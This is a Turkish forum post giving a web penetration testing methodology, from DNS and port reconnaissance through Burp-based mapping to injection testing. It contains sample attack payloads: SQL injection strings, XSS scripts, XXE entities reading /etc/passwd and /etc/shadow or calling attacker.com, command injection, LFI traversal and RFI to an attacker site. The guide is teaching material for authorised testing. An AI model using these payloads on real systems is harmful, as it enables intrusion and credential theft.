Güncel Web Uygulamalarına Sızmak // Bitmeyen Konu //

iwystic

Veteran
Katılım
27 Ağu 2019
Konular
290
Mesajlar
4,886
Çözümler
491
Tepkime puanı
10,772

PpUOkx.png

Bilgi Toplama

Bir bağlantı örneğinde bilgi toplamanın amacı dışarıdan birinin gözünden uygulamanın anlayışını elde etmektir.

PpUOkx.png


Alan Adı Tescili

Hedefin kimin olduğunu bulma adına aşağıdaki adımları takip ediniz:

1- Hedef domain/host’u Whois’leyin.

Kod:
 whois deneme.com

2- Hedef domain/host için IP adresi çözümleyin.

Kod:
 dig +short deneme.com

3- IP adresini Whois’leyin.

Kod:
 whois 104.27.178.12

Sonuçları analiz edin.

Sonuçlar, hedefin Whois gizlilik korumasını kullanıp kullanmadığına bağlı olarak karıştırılabilir.

Test sırasında olumlu düşünmediğiniz hiçbir hedefe saldırı gerçekleştirmeyin.

Bir güvenlik uzmanı olarak test etmeye başlamadan önce bir hedefin sahibinden erişim iznimizin olduğuna emin olmak sizin sorumluluğunuzdadır.
Bu nedenle, hedef doğrulama, bir angajmana başlarken her zaman ilk adımınız olmalıdır.

PpUOkx.png


DNS Sorgulama

Hedef alan adının DNS üzerinden dijital ayak izini çabuk bir şekilde taslak hazırlayan gayet güzel bir çevrimiçi araç olan DNSDumpster sitesi ile başlamak isterim.

PpUOkx.png


Forward Lookups:

Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]Kod:
dig +nocmd deneme.com A +noall +answer
dig +nocmd deneme.com NS +noall +answer
dig +nocmd deneme.com MX +noall +answer
dig +nocmd deneme.com TXT +noall +answer
dig +nocmd deneme.com SOA +noall +answer
...
dig +nocmd deneme.com ANY +noall +answer (Bu nadiren çalışır)



Reverse Lookups:

Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]dig -x 104.27.179.12
dig -x 104.27.178.12



PpUOkx.png

Bölge Aktarımlarını Test Etme

Bölge aktarımları, DNS sunucuları arasındaki kayıtları çoğaltmak için kullanılan bir DNS alışverişidir. Bu günlerde bölge aktarımına izin veren bir DNS sunucusu bulmak nadirdir, ama yine de kontrol etmekten zarar gelmez. Bir bölge aktarımı gerçekleştirmeyi başarıyorsanız, bir alanın tüm kayıtlarına muhtemelen erişebilirsiniz.

DNS Bölge Aktarımı Saldırısı önlenmesi kolaydır!

Minimum düzeyde bir yönetici bölge aktarımlarını belirli bir IP adresi grubuna beyaz listeye ekleyebilir.

PpUOkx.png


Örnek kullanım:

Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]dig -t NS zonetransfer.me +short
dig -t AXFR zonetransfer.me @nsztm1.digi.ninja 
dig -t AXFR zonetransfer.me @nsztm2.digi.ninja



DNSRecon, yukarıdaki DNS numaralandırma görevlerinin çoğunu otomatikleştirmek için yararlıdır ve çoğu zaman ıskalanmış olabilecek ek bilgileri bulabilir.

Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]dnsrecon -d deneme.com



PpUOkx.png

Açık Kaynak İstihbaratı (OSINT) Toplama

OSINT üzerine sizleri birkaç güzel kaynağa yönlendirmek istiyorum isimlerini yazıyorum.

Intel Techniques

Open Source Intelligence Techniques

Google Dork:

Exploit-Db

PpUOkx.png


Eşleştirme

Bir angajmanda eşleştirmenin amacı tipik bir kullanıcı gözünden uygulamanın anlayışını elde etmektir.

PpUOkx.png


Tanımlama Teknolojileri

Port Tarama, Servis Kimliği Tanımlama ve İşletim Sistemi Tespiti

İlk 1000 TCP portları taraması:

Kod:
 nmap 192.168.100.2

8 localhost adresine ping atması (aslında ilk ARP, sonra ICMP ve en sonunda TCP 80 yapar):

Kod:
 nmap –sP 192.168.100.0-7

80 ve 443 TCP portlarını taraması:

Kod:
 nmap -p 80,443 192.168.100.2

İlk 1000 TCP portları taraması, mevcut yazılım ve servis kimliği tanımlaması ve NSE script'lerini çalıştırması:

Kod:
 sudo nmap -A 192.168.100.2

Tüm 65535 TCP portlarını taraması, kimliği tanımlaması ve bazı NSE script'lerini çalıştırması:

Kod:
 sudo nmap –A –p- 192.168.100.2

İlk 1000 UDP portları taraması:

Kod:
 sudo nmap -sU 192.168.100.2

Tüm 65535 UDP portlarını taraması:

Kod:
 sudo nmap -sU –p- 192.168.100.2

Tüm 65535 UDP portlarını taraması, kimliği tanımlaması ve bazı NSE script'lerini çalıştırması:

Kod:
 sudo nmap –sU -p- -A 192.168.100.2

Web sunucusunu taranan port, genellikle bilgi toplamadan eşlemeye geçişi işaretler.

Açık portları, servis versiyonları ve mevcut yazılım(lar)ını not ettiğinizden emin olun.

PpUOkx.png


Tarayıcı ve Proxy Engelleyici Kurulumu

Firefox

Web uygulama sızma testi söz konusu olduğunda tarayıcıda Firefox tipik olarak varsayılan seçimdir. Bunun nedeni kullanılabilecek yararlı uzantıların miktarıdır ve bunun global proxy ayarlarınızı etkilememesi gerçeğidir.

Firefox Uzantıları

Burp için Firefox Yapılandırması

Firefox'ta:

Burp Suite için bir proxy ile FoxyProxy uzantısını yapılandırın:

IP:

Kod:
 127.0.0.1

Port:

Kod:
 8080

Burp'ün dinamik SSL sertifikalarına güvenmek için Firefox'u yapılandırın:

  • http://burp/ açın.
  • Sertifikayı kaydedin.
  • Sertifikayı Firefox'un içine aktarın.
PpUOkx.png

Burp Yapılandırma

Burp'ü tercihlerinizi uygun hale getirecek şekilde özelleştirmelisiniz. Ancak, en azından tarayıcı hızını genellikle dikkatli bir şekilde kullanacağınızdan ve bu şekilde kullanıldığında daha fazla güvenlik açığı olup olmadığını kontrol edeceğinizden, tarama hızını buna göre ayarlamanızı öneririm.

Burp Uzantıları

Yukarıda, genellikle çoğu angajmanlarda kullandığım Burp uzantıları var. Aynı Firefox uzantıları gibi uygulama eşleştirmeden önce bunları kurmayı severim.

Bu kullanılan Burp Extender modülü Burp Suite Pro içinde yüklüdür.

PpUOkx.png


Manuel Eşleştirme

Web uygulamalarının manuel sayımı belkide eşleştirme işleminin en önemli kısmıdır.

Manuel eşleştirme, tek sayfalı uygulamalar için çok hassastır.

Çoğu HTTP isteğinin eşzamansız olarak JavaScript (AJAX) yoluyla gönderilmesi nedeniyle tek sayfa uygulamalarının eşleştirilmesi söz konusu olduğunda otomatik örümcekleme genellikle başarısız olur.

PpUOkx.png


Otomatikleştirilmiş Eşleştirme

Otomatikleştirilmiş Eşleştirme, Burp Spider kullanılarak yapılır ve normalde manuel sayım sırasında bulamayacağınız ek sayfalar bulmakta fayda sağlayabilir. Genellikle Burp Spider, eski uygulamalarda daha modern SPA'lardan daha fazla sayfa bulacaktır.

Otomatikleştirilmiş Örümcekleme tehlikelidir.

Duruma bağlı olarak, hedef uygulamanın %80 ile %95'inden herhangi birisini manuel olarak eşleştiririm ve sadece örümceklemeyi çok özel durumlarda kullanırım. Bunun nedeni, örümcekleştirme belirli durumlarda potansiyel olarak yıkıcı olabilir.

PpUOkx.png


Post-Eşleştirme Analizi

Bu noktada, Burp'te test ettiğiniz uygulamanın site haritasının ilk iterasyonuna sahip olmalısınız ve şimdiye kadar tanımladığınız şeyleri not etmelisiniz.

Özellikle not almanız gerekenler:
  • Web Sunucusu
  • Uygulama Yapısı (Teknoloji Yığını)
  • Programlama Dil(ler)i
  • Framework'ler
  • Tasarım Örüntüleri

Bu, belirli bir düzen içinde bir dizi eylemi tamamlamanız beklenen uygulamanın herhangi bir alanını not etmek için de iyi bir zamandır. Çoğu kez bu süreçler ayarlanabilir ve gerçekleştirilebilir ve muhtemelen önemli bulgulara (örneğin e-ticaret ödeme deneyimi, şifre sıfırlama formu vb.) yol açabilir.

PpUOkx.png


Keşfetme

Bir bağlantı isteğinde, önceden keşfetmenin amacı, hedefin bir saldırganın görüşüyle anlaşılmasını sağlamaktır.

PpUOkx.png


Haritalamadan Keşfe Geçiş

Site haritasını kurduktan sonra , bazı ilk kurulum fonksiyonlarının analizlerini gerçekleştirmemiz gerekli.. Bu aşamada, hedef uygulamada mümkün olduğunca fazla sayıda güvenlik açığı tespit etmemiz gerekli. Bu aşama, sadece OWASP Projesini değil, aynı zamanda veri uygulamasındaki mantık kusurlarını da içermektedir. Bu bağlamda, tek bir hedef üzerinden değil, birden çok hedef üzerinden ilerleyeceğiz. Karşılaşacağımız güvenlik açıklarının, sadece belirli bir kategoriye özel olmadığını , aynı zamanda farklı kategorilerden de sayısız güvenlik açığı ile karşılaşacağınızı unutmayın.

- İçerik Keşfi

- Güvenlik Zafiyeti Taraması


Konu güvenlik zafiyeti taramasına geldiğinde, Nikto bu kategorinin en iyileri arasındadır. Hedef uygulamadaki güvenlik zafiyetlerini belirlemede gayet iyi iş yapmaktadır. Ayrıca tarama sonuçlarının okunması ve sonrasında dışarı aktarılması için birden fazla format tipine destek vermektedir.

- Daha kolay anlaşılması için hedef & çıktı sonuçlarını HTML olarak okuyalım.

PpUOkx.png


Forced Browsing

Forced browsing, hedef uygulamanın başvurduğu kaynakları tanımlama amacıyla kullanılan bir keşif yöntemidir.
Discover Content, aslında bu amaç için yapılandırılmış bir Burp aracıdır. Bununla birlikte, Burp Intruder hedefe doğru bir sözlük saldırısı gerçekleştirir.
Bu saldırı genellikle url parametrelerine veya dosya yollarına enjekte ile yapılabilir. Bu sayede bu araç, Forced browsing için kullanılabilir.
FuzzDB'de bu amaç için geliştirilen mükemmel kelime listeleri bulunmaktadır. Özellikle Forced Browsing için kullanılacak olan kelime listelerini inceleyebilirsiniz.

PpUOkx.png


Alternatif İçerik Testi

Firefox uzantısı, tam olarak istenilen görevi gerçekleştirir ve kullanıcı aracısının üst bilgisini uzantı üzerinden seçilen öğeye göre değiştirir. Bunun sebebi ise, bazı web uygulamalarının, farklı yönlendirme başlıklarına farklı yanıtlar vermek üzere yazılmış olmasıdır.

Bu sayfaların belirli bir kısmında, yönlendirme başlıkları için Burp Intruder aracını sık sık kullanacağız.
Klasik olarak FuzzDB projesi üzerinden bir WordList kullanacağız.

PpUOkx.png


Otomatik Keşif

Web uygulamalarını haritalarken, Burp Passive Scanner aracı, arka planda çalışarak hedefin güvenlik zafiyetlerini analiz etmektedir.
Elde edilen tarama sonuçları, Burp Acitve Scanner kullanılarak taramadan sonra incelenmek amacıyla not alınır.
Taramadan sonra bunları incelemek büyük önem taşımaktadır.
Burp Active Scanner aracının işlemleri tamamlaması genellikle çok uzun sürmektedir. Bu nedenle genelde işlem sonunda tarama sonuçları not edilir.

- Yapılandırma

- Varsayılan Yapılandırmalar


Hazır yapılandırmaların test edilmesi, hedefin kullandığı farklı bileşenleri sıraladıktan sonra keşif aşamasında yapılabilecek mantıklı bir işlemdir.
Sistem geliştiricilerinin yapılandırmaları düzenleyebilmeleri için birçok framework, önceden yapılandırılmış sistemlerle gelir.
Bu frameworkler yapı olarak aynı olsalar bile bazı durumlarda farklı web sunucularında barındırılabilirler ve genellikle geliştiricilerin ihmalleri nedeniyle çeşitli saldırılara maruz kalabilirler.

PpUOkx.png


Yanlış Yapılandırılma Testi

Yaptığınız testin tüm aşamalarında, yanlış yapılandırma sorunlarına dikkat etmelisiniz.
Bu bağlamda dikkat etmeniz gereken şeyler veritabanı yapısı ve web sunucusunun dosya tipi ile alakalıdır.

Diğer bir dikkat edilmesi gereken husus ise, otomatik doldurmayı devre dışı bırakmayan sistemlerdir. Formlarda sıkça karşılaşılan büyük bir "show/hide" [göster/gizle] anahtarı gibi. Günümüzdeki tarayıcılar, girilen şifreleri varsayılan olarak;

Kod:
 type="password"

etiketi ile kaydetmezler. Ancak "show" [göster] butonunun bulunduğu alanlarda, kullanıcı bu butona basarsa, tarayıcı bu yazıyı önbelleğe;

Kod:
 type="text"

şeklinde kaydeder. Bu seçenek, paylaşıma açık bir bilgisayar ortamında kullanıldığı taktirde, veri güvenliği açısından büyük bir risk taşımaktadır.

PpUOkx.png


Doğrulama

Keşif aşamasında gördüğünüz bütün login [giriş] formlarını incelemeniz gerekli. Bu formlar standart güvenlik önlemlerinin dışında alternatif önlemler ile korunmuyorsa (örneğin captcha, sürekli giriş denemesi) herhangi bir saldırgan kullanıcı hesaplarına izinsiz erişim alabilir. Bu formların yazılma tipine veya framework / CMS sistemlerine bağlı olarak hedef uygulamadaki giriş denemesi başarısız olsa bile, bu deneme bir kullanıcı hesabının varlığını ortaya çıkarabilir. Bu olasılıklardan herhangi birisi sistemde mevcutsa hemen not edilmelidir. Ayrıca bir diğer not edilmesi gereken şey ise, giriş formlarının herhangi bir şifreleme türü (SSL/TLS) kullanmadığı durumlardır. Bu durumlarda yine girilen şifreler veri güvenliğini tehlikeye atmaktadır.

PpUOkx.png


Fuzzing Logins

Uygulama giriş formlarını incelediğinizde kafanızda karışıklık oluşabilir. CeWL bu amaç doğrultusunda, yalnızca özelleştirilmiş kelime listeleri oluşturmak için kullanılabilecek iyi bir araçtır. İşleme başlamadan önce ilk olarak -h kullanarak yardım dökümanlarına göz gezdirebilirsiniz.

Referans olarak kullanabileceğiniz söz dizimi her zaman için benzerlik gösterecektir;

Kod:
 cewl [options] www.deneme.com

Özel kelime listenizi hazırladıktan sonra sıra Burp Intruder ile bir kez daha giriş denemesi yapmaya geldi. Genellikle bu iki aşamalı liste ile gerçekleşir.
Birisi kullanıcı adlarının bulunduğu Wordlist, diğeri ise CeWL tarafından hazırlanan bir listedir.
Bu tür bir giriş denemesi için genelde kullanılan metot Cluster Bomb'dır.

PpUOkx.png


Oturum Yönetimi

Oturum / çerez (cookie) yönetimi genelde bir web uygulamasının ilgi çeken bir özelliği değildir. Ancak yine de güvenlik zaafiyeti için önemli bir konudur. Genelde, hedef web uygulamasının oturum sırasında ne kullandığını anlamak ve ilerleyen aşamalarda öngörülebilir işlemleri tespit etmek amacıyla Burp Sequencer kullanırız. Ayrıca, bazı web uygulamaları (genelde eski uygulamalar) istemci tarafındaki oturumun içeriğini ve bilgilerini de depolamaktadır. Bazı durumlarda bu veriler, içerilerinde hassas bilgilere ulaşmamızı sağlayacak ve potansiyel olarak güvenlik zafiyeti oluşturabilecek kodları barındırır.

PpUOkx.png


Burp ile Oturum Verilerini Test Etme

Burp Sequencer, öngörülebilirlik açısından kullanılabilecek mükemmel bir araçtır. Oturum yönetiminin testi sırasında, verileri test ederken çerezleri temizlemeye ve web uygulamasını doğrulama işlemi için bu aracı kullanmalısınız.
Set-Cookie başlığının dahil olduğu HTTP cevabını Burp Sequencer'a yönlendirerek analiz etmesini sağlamalısınız. İsteğe bağlı olarak 10.000 istek sonrasında denemeyi durdurabilirsiniz. Çünkü bu değer, öngörülebilirliği test etmek için yeterli olacaktır.

Elde edilen veriler yeterince öngörülebilir veya rastlantısal değilse, oturum saldırıları not edilmelidir.

PpUOkx.png


İzinler

Eksik erişim fonksiyonu ve güvenli olmayan nesne yetkilendirmesi en sık karşılaşılan sorunlardan birisidir. Bunun sebebi, birçok yöneticinin, düşük yetkilere sahip kullanıcıların bile yüksek erişim isteği gönderdiklerini dikkate almamasıdır.

Kod:
  http://example.com/app/admin_getappInfo

Bunun farklı bir örneğini, farklı bir kullanıcıya erişimde bulunan bir nesne olarak görebiliriz:

Kod:
 http://example.com/app/accountInfo?acct=notmyacct

PpUOkx.png


Erişim Denetim Testi

Bu yöntem ise hedef uygulamada iki farklı kullanıcı hesabı ile farklı erişim düzeylerini ortaya çıkarmak için kullanılabilir.
Uygulamadaki farklı erişim düzeylerini bulmak için, kullanıcılardan birini düşük erişim düzeyine alabiliriz ve bu da yetkisini düşürdüğümüz anlamına gelebilir. Bu aşamada Burp Compare Sitemap kullanacağız.

PpUOkx.png


Veri Doğrulama Testi

Web uygulamalarında enjeksiyon sistem açıkları mevcuttur çünkü kullanıcıların girdilerini sorgusuz sualsiz kabul eder ve bunu adam akıllıca sunucu taraflı kontrol etmez. Bir tester olarak, kullanıcı girdilerini sorgusuz sualsiz kabul eden ve onlara enjekte edebileceğimiz uygulamanın alanlarını not almış olmalısın.

Tüm uygulamalar farklı olduğundan kusurlardan enjeksiyon kusuru ararken takip etmeniz gereken kapsamlı bir yapılması gereken adımlar diye bir şey yok.
Yine de onları örnek enjeksiyon yükleri ile birlikte alt kısımlara ayırmaya çalışacağım. Ayrıca, Burp Repeater tipik olarak enjeksiyon kusurlarını test ederken en çok kullandığım şeydir. Her bir zamanda yükü değiştirme fırsatı verirken aynı uç noktaya istekleri tekrarlatmana olanak taşıyan, diğerlerine nazaran daha basit bir araçtır.

Akılda tutulması gereken çok önemli bir şey: Bu tür aletlerin çıkarılış amaçları basitçe kusurları tanımaktır, halbuki kötüye kullanımla beraber ne kadar ileri gittiklerini görmek istiyoruz. Besbelli bu tür enjeksiyon kusurlarının herhangi birinin varlığı rapor etmeye değer, yine de keşif aşamasından sonra her birinin derinlemesine testini kurtarmaya çalışın.

Her alt bölümlerde daha fazla bilgi için OWASP sitesinden linkler verilecektir.

PpUOkx.png


SQL Enjeksiyonu

Herhangi bir girdi veritabanına sorgu olarak kullanılıyor ise muhtemelen SQL Enjeksiyon açığı olabilir. Yanlış ayarlama sorunlarıyla karışık (gereksiz hata mesajları gibi) türler, verilerin önemli bir kısmının saldırganlar tarafından ifşa edilebileceği göz ardı edilmemelidir.

Sql enjeksiyonu test ederken Netspi tarafından bu yazıyı okumanızı tavsiye ederim. Çok iyi bir kaynaktır. Basitçene, eğer herhangi bir bu tür yük ihtimallerinden veritabanı hata mesajı alıyorsanız bu hedefin SQL enjeksiyona müsait demek olduğu anlamına çıkar.

Sqlmap, sql enjeksiyonu testini otomatik bir yoldan yapmaya olanak kılan bir araçtır, ama ilerde bunu ben daha çok sömürme işlemlerinde kullanacağım.

Açık Web Uygulama Güvenliği Projesi (OWASP) – SQL Enjeksiyon Test Etme

Örnek:

Kod:
 [/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]' OR 1=1 -- 1
' OR '1'='1
' or 1=1 LIMIT 1;-- 
admin';--

http://www.deneme.com/product.php?id=10 AND 1=1



PpUOkx.png

Siteler Arası Betik Çalıştırma (XSS)

Siteler arası betik çalıştırma atakları, saldırgan genellikle JavaScript formu ile farklı uçtaki kullanıcıya zararlı kodları göndermek için internet uygulaması kullandığında meydana gelir.

Bilmeniz gereken 3 farklı türde XSS açığı vardır:

  1. Stored – Depolanmış bir XSS açığı: Veri, internet uygulamasına bir kullanıcı tarafından temin edildiğinde sunucu tarafından kalıcı olarak depolandığında olur.
  2. Reflected – Yansıtılmış bir XSS açığı: Veri, sunucu taraflı scriptler tarafından bu kullanıcılar için oluşturmak için web istemcisi tarafından kullanıldığında olur.
  3. DOM-Based – DOM tabanlı XSS açığı: Sayfanın kendi istemci taraflı script’in içinde varsa vardır.

OWASP – Siteler Arası Betik Çalıştırma Testi

Örnek:

Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]<IMG SRC=javascript:alert('XSS')>
"><script>alert('XSS')</script><"
" ***********="alert('XSS')

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+documént.cookie)</SCRIPT>
%3cscript src=http://www.deneme.com/malicious-code.js%3e%3c/script%3e



PpUOkx.png

XML Enjeksiyonu

XML Enjeksiyon testi saldırganın uygulamaya XML belgesi enjekte etme denemesidir. Eğer XML derleyici veriyi içerik açısından kontrol etmede başarısız olursa, test olumlu sonuca ulaşır.

OWASP – XML Enjeksiyon Testi

Örnek:
Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]Username = foo<
Username = foo<!--



XML Dış Varlık Enjeksiyonu (XXE)

Eğer bir varlığın tanımı tekdüzen kaynak konum belirleyicisi (URI) ise, bu varlık “dış arlık” olarak geçer.

Aksi takdirde ayarlanmadıkça; dış varlıklar, yerel makinede veya bir uzaktan yönetim sisteminde belirlenmiş kaynağa URI ile erişmek için XML derleyicisini zorlarlar.

Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>



PpUOkx.png

Şablon Enjeksiyonu

Şablon enjeksiyonu saldırgana, var olan (veya olmayan) şablona şablon kodu koymasına yarar.

Portswigger – Sunucu Taraflı Şablon Enjeksiyonu

Örnek:

PpUOkx.png


İşletim Sistemi Komut Enjeksiyonu

İşletim Sistemi Komut Enjeksiyonu; kullanıcının işletim sistemi komutlarını bu komutları web sunucusunda çalıştırma maksadı ile web uygulaması arayüzüne enjekte ettiği bir tekniktir.

OWASP – Komut Enjeksiyonu Testi

Örnek:

Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Doc=Doc1.pdf+|+Dir c:\



PpUOkx.png

Açık Yeniden Yönlendirme

Açık yeniden yönlendirme; bir uygulama, kötü amaçlı olabilecek bir dış URL'ye yönlendiren bir bağlantıyı belirten kullanıcı tarafından kontrol edilen bir girişi kabul ettiğinde ortaya çıkan girdi doğrulama kusurudur.

OWASP – İstemci Taraflı URL Yönlendirme Testi

Örnek:

Kod:
 [/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]http://www.hedef.site?#redirect=www.sahte-hedef.site 
http://www.hedef.site??url=http://www.sahte-hedef.site



PpUOkx.png

Yerel Dosya Dahil Etme (LFI)

Yerel Dosya Enjeksiyonu (ayrıca LFI olarak da bilinir) yerel olarak zaten sunucuda bulunan ve uygulamada yerine getirilmiş açık ilavesi prosedürü vasıtası ile dosya dahil etme işlemidir.

OWASP – Yerel Dosya Dahil Etme Testi

Örnek:

Kod:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]http://vulnerable_host/preview.php?file=../../../../etc/passwd
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00



PpUOkx.png

Uzak Dosya Dahil Etme (RFI)

Uzak Dosya Enjeksiyonu (ayrıca RFI olarak da bilinir) uygulamada yerine getirilmiş açık ilavesi prosedürü vasıtası ile uzak dosya dahil etme işlemidir.

OWASP – Uzak Dosya Dahil Etme Enjeksiyonu

Örnek:

Kod:
 [/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=15px][CENTER][SIZE=15px][CENTER]http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page



PpUOkx.png

İş Mantığı

İş mantığında kusur keşfetme sende, saldırgan olarak, hedef uygulamanın iyi bir temel anlayışı gerektirir. Bir kere uygulamanın istenilen çalışma yolunu bilirsen, nasıl sömürebileceğini anlayabilirsin. İş mantığı kusurlarını test ederken, uygulamanın belirli bir sıradaki bir dizi eylemi (örneğim iifre sıfırlama formu, sipariş formu vb.) tamamlamanızın beklendiği uygulama alanlarına geri dönün ve bu eylemleri düzenin dışında yürütmeyi deneyin.

Ayrıca, bir kullanıcının uygulama içindeki belirli girdilere gerçekdışı değerler girip giremeyeceğini kontrol etmelisiniz. (örneğin kullanıcının kaç mil koşusunu girmesi beklenen bir fitness uygulaması).

Bu ayrıca kısıtlamasız dosya yüklemesini test etmek için iyi bir zamandır.

PpUOkx.png


Şifreleme Kusurları

SSL/TLS yürütme uygulamalarının kalitesini saptamak için ben hep SSL Laboratuvarları’nın Sunucu Testi ve bu tamamlayamaz ise SSLyze ile işe başlamayı öneririm.

SSLyze Örneği:

Kod:
 sslyze --regular www.deneme.com



Özetle:
  1. Uygulamanın bir çeşit şifreleme kullanıp kullanmadığı
  2. Bu şifreleme protokolü emniyetsiz veya güvenlik açığı (TLS 1.2, SSL2/SSI3) var mı?
Uygulamanın zayıf şifreleme algoritmaları kullanıp kullanmadığını (örneğin MD5, RC4 vb.) araştırmak ve ileri gizliliği desteklemek için de bu süreyi kullanmalısınız.



PpUOkx.png



Hizmet Aksatma Saldırısı (DoS)




Özetle DoS, failin hedef uygulamayı kullanıcılarına bir şekilde veya başka bir şekilde erişememesini amaçlayan bir saldırıdır. DoS saldırı vektörleri, kullanıcı dosya yüklemelerinden kullanıcı hesap kilitleme mekanizmasına brüte force giriş denemelerini önlemek amaçlı sıralayabilir.



Yüklenmesi uzun zaman alan veya geri gelmesi uzun zaman alan ajax istekleri olan sayfalar varsa, bunlar DoS saldırısı gerçekleştirmek için kullanılabilecek kötü yazılmış SQL sorgularının göstergesi olabilir.



PpUOkx.png



Flash Uygulamaları




Eğer test ettiğiniz bir uygulama flash veya başka derlenen istemci taraflı teknoloji (örneğin silverlight) kullandırıyorsa, kendi dosya sistemine bunları indirmeye ve kodları geri dönüştürmek ve kaynak kodları incelemek için iJPEXS FFDec gibi bir araç kullanmaya değer. Eğer uygulamaya başarılı bir şekilde tersine mühendislik işlemleri yapabiliyorsanız kodların altında yatan bazı kusurları da açığa çıkarabilirsiniz.



PpUOkx.png



Web Servislerini Test Etme




Web servisleri makineden makineye iletişim için kullanılan bir teknolojidir lakin önceden çalıştığınız aynı metodoloji kullanılarak test edilmeli (eşleştirme -> keşfetme -> sömürme), API son nokta(ların)dan gelen yanıtları incelemek ve yanıtları analiz etmek için Burp'ü kullanmalısınız.



PpUOkx.png



REST Web Servislerini Test Etme




İdeal olarak, bir REST web servisini test etmeden önce yapmanız gereken ilk şey, varsa dokümantasyonu okumaktır. Genellikle beyaz kutu veya gri kutu sızma testi yapılırken bu durum daha yaygındır ve daha kapsamlı bir test yapılmasına izin vereceğinden genelde tercih edilir.



Siyah kutu testinde ise istek/cevap eşleştirmesini kesmek için ve API’i anlamayı denemek ve başarmak adına JSON formatında geri dönen herhangi bir bilgiye bakmak için Burp kullanırız lakin bu çok meşakkatli bir iştir ve ihtimali varsa çok da önerilmez.



REST, http protokolünü SOAP hizmetleri gibi bir şeye karşı kullandığından, daha önce SQL enjeksiyon ve XSS gibi keşif aşamasında olduğumuz aynı güvenlik açıkları için API uç noktalarını test edebiliriz.



REST API testi için ilaveden şu kaynakları da inceleyebilirsiniz:



Using Burp to Test for Cross-Site Request Forgery (CSRF)



Penetration Testing RESTful Web Services



REST Assessment Cheat Sheet



PpUOkx.png



SOAP Web Servislerini Test Etme




Her ne kadar bugünlerde web servisleri uygulamaları test ederken SOAP’ü yerine REST’i kullandığımı kesinlikle görsem de o hala ordadır ve bazı şeyleri gözden kaçırmamak gerekir.



SOAP temelli bazı web servisleri ile alakalı bazı çok güzel olan Web Servisi Tanımlama Dili (WSDL) dosyaları üzerinden kendi kendilerini belgeliyor oluşudur. Bu dosyaları incelemek ve benzer istekleri Burp Repeater yardımı ile uç noktaya göndermek için Wsdler (BApp) gibi araçlar kullanabilirsiniz.



REST’i ile benzer bir şekilde bu servisler de uygulamanın başka bölümleri gibi test edilmeli (örneğin sql enjeksiyonu, xss vs.).


  • Eşleştirme/keşfetme sırasında bulunan servisle ilgili yollara göz atın.
    (Örneğin: http://ornekuygulamaservice.c
    om)
  • Hizmeti Burp’ün içine yüklemek için WSDL dosyasını görüntüleyin.
  • Burp Proxy geçmişi sekmesine gidin ve WSDL dosyasını “WSDL İncele” içerik menüsü seçeneğiyle Wsdler uzantısına ekleyin.
  • Servisin nasıl çalıştığını belirlemek için Repeater’a benzer bir istek yollayın.




SOAP API testi için ilaveden şu kaynakları da inceleyebilirsiniz:



Hacking Web Services with Burp



PpUOkx.png



Sömürme




Bir angajmanda, sömürü hedefi, keşif sırasında bulunan güvenlik açıklarından faydalanmak ve ne kadar derin gittiklerini ve maruz kaldıkları gerçek riski ölçmektir.



Özetle, bu noktada yapmak istediğiniz şey, bilgi toplama, eşleştirme ve keşif sırasında aldığınız notlara ve keşfettiğiniz güvenlik açıklarına olabildiğince derinlik kazandırmaktır. Ara sıra sömürme işlemi esnasında hedef uygulamada farklı (yüksek) imtiyaz seviyeleri arasında geçiş yapabilirsiniz. Eğer bu olursa geri dönmek ve eşleştirme bölümünden her şeyi baştan almak istersiniz.



Aşağıda bazı örnek sömürme senaryoları vardır lakin bu adım her bir angajman için benzersizdir.



Unutma: Keşfetme bulgularını bir sonraki seviyeye taşıyorsun!



Ki, tek bir kopya kağıdına sığamayacağım birçok bağımsız araştırma gerektirir.



- Sömürme Senaryoları




- Siteler Arası Betik Çalıştırma Sömürüsü



- Tarayıcı Gaspetmek



Keşif sırasında hedef uygulamanın XSS'e karşı zafiyeti olduğuna emin olduysanız, sömürü sırasında atılması gereken iyi bir adım, XSS aracılığıyla zombi tarayıcılarını "çengellemek" için BeEF gibi bir araç kullanıp kullanamayacağınızı görmektir.



Bununla alakalı güzel bir yazı:



How to Hack Web Browsers with BeEF



Genelde bu, kendi tarayıcınızı izole bir ortamda kullanmak için XSS'nın sonuçlarınızı istemciye sunduğunuzda ne kadar tehlikeli olduğuna dair bir kanıt olarak kullanacağınız bir şeydir.



PpUOkx.png



SQL Enjeksiyon Sömürüsü




